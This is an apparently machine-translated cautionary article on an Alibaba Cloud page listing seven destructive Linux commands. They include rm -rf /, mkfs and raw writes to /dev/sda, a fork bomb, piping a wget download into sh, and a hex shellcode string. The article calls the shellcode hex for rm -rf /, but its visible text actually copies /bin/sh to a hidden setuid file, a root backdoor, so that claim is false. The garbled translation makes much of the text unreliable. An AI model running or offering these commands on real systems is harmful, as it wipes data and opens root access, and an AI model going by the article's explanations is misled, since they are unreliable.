Seven extremely lethal Linux system commands

Source: Internet
Author: User
If you are using Linux, remember not to let the dumb enter the following commands, although these commands seem quite complex, but it will still have a serious impact on your system.

If you are using Linux, remember not to let the dumb enter the following commands. although these commands seem complicated, they will still have a serious impact on your system.

Some of them will affect your program and system running, some will directly erase your disk, and there is almost no room for saving these commands.

1. Code:Rm-rf/

This is very simple. the root directory will be wiped out.

2. Code:

  1. Charesp [] _ attribute _ (section (". text")/* e. s. p
  2. Release */
  3. = "Xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
  4. "Xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
  5. "Xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
  6. "X56x04xf7x56x08xf7x56x0cx83xc4x74x56"
  7. "X8dx73x08x56x53x54x59xb0x0bxcdx80x31"
  8. "Xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
  9. "X6ex2fx73x68x00x2dx63x00"
  10. "Cp-p/bin/sh/tmp/. beyond; chmod4755
  11. /Tmp/. beyond ;";

Did not understand? It's actually a hexadecimal [rm-rf/].

3. Code:Mkfs. ext3/dev/sda

Disk scalping is undoubtedly dangerous.

4. Code::() {:| :&};:

This is not a post-90 expression, nor is it an expression before totit shoots a penalty. it can quickly cause your system to crash due to processing a large amount of data.

5. Code:Any_command>/dev/sda

This command will write a large amount of RAW data, which can lead to data loss.

6. Code:Wgethttp: // some_untrusted_source-O-| sh

Like Windows, do not randomly download unconfirmed sources of security. Linux and carrots will not be safe this year.

7. Code:Mv/home/yourhomedirectory/*/dev/null

This command will undoubtedly drive the system crazy and your home directory will no longer be seen.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.